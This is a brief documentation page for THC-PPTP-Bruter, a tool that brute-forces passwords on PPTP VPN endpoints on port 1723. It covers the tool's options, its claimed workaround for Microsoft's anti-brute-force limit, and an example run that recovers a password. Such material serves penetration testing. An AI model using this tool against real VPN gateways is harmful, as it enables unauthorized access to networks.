THC-PPTP-Bruter

Description

THC-PPTP-Bruter – Brute force program against pptp vpn endpoints (tcp port 1723). Fully standalone. Supports latest MSChapV2 authentication. Tested against Windows and Cisco gateways. Exploits a weakness in Microsoft’s anti-brute force implementation which makes it possible to try 300 passwords the second.

Usage

Syntax

thc-pptp-bruter [options] <remote host IP>

Options

  -v        Verbose output / Debug output
  -W        Disable windows hack [default: enabled]
  -u <user> User [default: administrator]
  -w <file> Wordlist file [default: stdin]
  -p <n>    PPTP port [default: 1723]
  -n <n>    Number of parallel tries [default: 5]
  -l <n>    Limit to n passwords / sec [default: 100]

Example

root@cyborg:/home/cyborg# cat dict.txt | thc-pptp-bruter -u cyborg  -v 192.168.1.5
99 passwords tested in 0h 00m 01s (99.00 99.00 c/s)
Password is 'toor'
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